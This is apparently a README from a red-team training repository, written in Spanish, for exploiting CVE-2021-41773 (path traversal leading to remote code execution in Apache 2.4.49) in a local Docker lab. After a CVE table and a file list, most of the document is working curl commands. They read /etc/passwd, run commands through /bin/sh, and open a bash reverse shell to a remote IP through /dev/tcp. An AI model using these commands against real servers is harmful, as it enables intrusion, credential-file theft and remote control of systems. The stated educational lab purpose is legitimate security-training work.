
Apache 2.4.49 Path Traversal RCE
Departamento de Ciberseguridad de ITSOLERA — Tarea #3 del Red Team
Equipo: Offensive Team Zeta
Fecha: 18 de marzo de 2026
Este repositorio es exclusivamente con fines educativos.
Todas las pruebas se realizaron en un laboratorio Docker local aislado.
Nunca lo utilice contra sistemas reales, en producción o de terceros.
| Campo | Detalle |
|---|
| CVE ID | CVE-2021-41773 |
| CVSS | 9.8 CRÍTICO |
| Afectado | Apache HTTP Server 2.4.49 SOLO |
| Tipo | Path Traversal + Ejecución remota de código (RCE) |
| Corregido en | Apache 2.4.51 |
| Archivo | Descripción |
|---|---|
poc_41773.py | Script de exploit PoC en Python con banner del Team Zeta |
docker-compose.yml | Configuración del entorno de laboratorio vulnerable |
offensive_zeta_shell.txt | Registro de sesión en vivo — prueba de explotación |
screenshots/ | Capturas de pantalla de evidencia |
Offensive_Team_Zeta_FINAL_Report.pdf | Informe completo de explotación |
# Pull the vulnerable image
sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
# Start the lab
docker-compose up -d
# Verify Apache 2.4.49 is running
curl -I http://localhost:8080/
# Must show: Server: Apache/2.4.49
# File read via path traversal
curl --path-as-is \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# Remote code execution
curl --path-as-is \
-d 'echo Content-Type: text/plain; echo; id' \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
# Reverse shell (replace IP with your machine IP)
curl --path-as-is \
-d "echo Content-Type: text/plain; echo; bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"